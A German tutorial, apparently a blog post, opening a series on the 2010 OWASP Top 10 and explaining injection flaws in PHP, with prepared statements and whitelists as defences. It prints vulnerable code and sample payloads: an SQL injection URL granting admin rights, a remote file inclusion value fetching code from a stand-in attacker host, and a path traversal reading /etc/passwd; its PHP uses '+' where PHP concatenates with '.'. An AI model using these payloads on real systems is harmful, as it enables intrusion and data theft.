
Am 19. April 2010 hat das Open Web Application Security Project (OWASP) eine aktualisierte Liste der Top 10 Sicherheitsrisiken für Webanwendungen herausgegeben. Ein guter Anlass, um näher zu erläutern wie diese Risiken zustande kommen, und, wie sie sich mit praktischen Hilfsmitteln vermeiden lassen.
Im ersten Teil unserer Reihe geht es um Sicherheitsrisiken, die das Einschleusen von fremdem Code (auf serverseite) ermöglichen – “Injection”.
1. Injection
Unter Injection versteht man jegliche Attacken, bei denen ein vom Angreifer eingeschleuster Code durch einen Interpreter der Webanwendung ausgeführt wird. Dazu zählen z.B. SQL Injections, die Ausführung ungewollter Befehle durch eval Aufrufe und Remote File Inclusion.
Wie entstehen Injection Lücken?
Meist entstehen Injection Lücken durch die ungeprüfte Übernahme von Benutzerparametern. Das folgende Beispiel demonstriert eine typische SQL Injection Lücke in einer PHP-Anwendung, die anhand eines URL-Parameters verschiedene Artikel ausgibt:
$result = mysql_query("SELECT * FROM articles WHERE id="+$_GET["id"]);
Ein Angreifer könnte als Parameter für die ID den folgenden Code übergeben:
http://vulnerable.example.org/articles?id=42;UPDATE+users+SET+role=1+WHERE+id=23
Daraus entsteht folgender SQL Code:
SELECT * FROM articles WHERE id=42;UPDATE users SET role=1 WHERE id=23
Auf diese Weise führt der SQL Interpreter nicht nur den SELECT Befehl aus, sondern einen zusätzlichen UPDATE Befehl, der dem Benutzer mit der ID 23 die Benutzerrolle 1 (für Administratoren) zuweist.
Ein weiteres Beispiel demonstriert eine Remote File Inclusion Schwachstelle bei der Einbindung von PHP Scripten anhand einer im Cooke gespeicherten Benutzereinstellung:
$color = isset($_COOKIE['color']) ? $_COOKIE['color'] : 'red'; include $color+'.php';
Ein Angreifer könnte im Cookie als Wert für “color” einen der folgenden Werte eintragen:
http://evil.example.org/malicious/script.txt?
../../../../../../../../etc/passwd%00
Im ersten Fall wird externer Code vom Server des Angreifers nachgeladen, im zweiten Fall der Inhalt der Passwort-Datei des Servers ausgegeben. Die Zeichenfolge “%00″ entspricht dem “Null character” und ermöglicht andere Dateiendungen als ‘.php’ einzubinden, da das Nullzeichen das Ende der Zeichenkette signalisiert.
Als Einfallstor für eingeschleusten Code dienen also nicht nur Parameter in der URL einer Anwendung, sondern jegliche Daten, die von Benutzern verändert werden können und in der Anwendung verarbeitet werden. Dazu zählen HTTP-Parameter (GET, POST etc.), HTTP-Header (z.B. der User-Agent), Cookies, und Benutzerinhalte, die aus Datenbanken ausgelesen werden.
Wie kann ich eine Anwendung vor Injections schützen?
Die sicherste Methode um Benutzerparameter mit einer Anwendung zu verarbeiten, ist die Verwendung einer parametrisierten API. Bei der Verwendung einer solchen Schnittstelle wird der Programmcode getrennt von den Benutzerparametern übergeben und vom Interpreter verarbeitet. Die Benutzerparameter sind klar als variable Argumente definiert und werden vom Interpreter nur als solche behandelt, ohne die Möglichkeit darüber eigenen Code einzuschleusen.
Um SQL-Code sicher zu verarbeiten, gibt es mit Prepared Statements eine solche sichere API, die für verschiedene Programmiersprachen wie PHP oder Java verfügbar ist. Für Ruby on Rails gibt es noch keine Prepared Statements. Rails bringt aber mit ActiveRecord eigene Schnittstellen mit, die sicher vor SQL-Injection sind, wie beispielsweise Array Conditions und Hash Conditions.
Eine weitere sichere Methode zum Umgang mit Benutzerparametern ist die Verwendung einer “Whitelist”. D.h., es wird eine Liste von erlaubten Parametern festgelegt, mit denen der Benutzerparameter verglichen wird. Hier eine abgesicherte Version des vorigen Beispiels:
$allowed_colors = array('red', 'green', 'blue');
$color = isset($_COOKIE['color']) && in_array($_COOKIE['color'], $allowed_colors) ? $_COOKIE['color'] : 'red';
include $color+'.php';
Der Benutzerparameter $_COOKIE['color'] wird nur dann verwendet, wenn er in der Liste der erlaubten Farben verwendet wird. Andere Werte als ‘red’, ‘green’ oder ‘blue’ werden ignoriert, wodurch kein eigener Code eingeschleust werden kann.
Schwierig wird die Verwendung einer Whitelist, wenn vielfältige, variable Eingaben und spezielle Zeichenklassen oder verschiedene Kodierungen erlaubt sein sollen und eine parametrisierte API nicht verfügbar ist. In diesem Fall hilft die Verwendung einer speziell auf den Interpreter angepassten “Escape Syntax”, die alle potentiell gefährlichen Zeichen so maskiert, das sie vom Interpreter nicht als Programmcode gewertet werden können. MySQL Queries lassen sich in PHP z.B. mit mysql_real_escape_string absichern. Prepared Statements sind allerdings die bessere Alternative.
Sicherheitsregeln
- Möglichst auf dynamische Code-Generierung verzichten. eval is evil!
- Wann immer möglich, Benutzereingaben nur mit einer parametrisierten API verarbeiten, bei der Programmcode und vom Benutzer definierte Variablen getrennt interpretiert werden.
- Gültige Benutzervariablen mit einer Whitelist (von erlaubten Werten) vergleichen. Whitelist statt Blacklist! Inhalte, Wertetypen und Kodierungen beachten!
- Jegliche von Benutzern manipulierbare Werte als potentiell gefährlich betrachten. Dazu zählen alle vom Browser an den Server verschickten Daten sowie Inhalte aus Datenbanken und anderen externen Quellen.
=> Web Application Security – Teil 2 – Cross-Site Scripting (XSS)
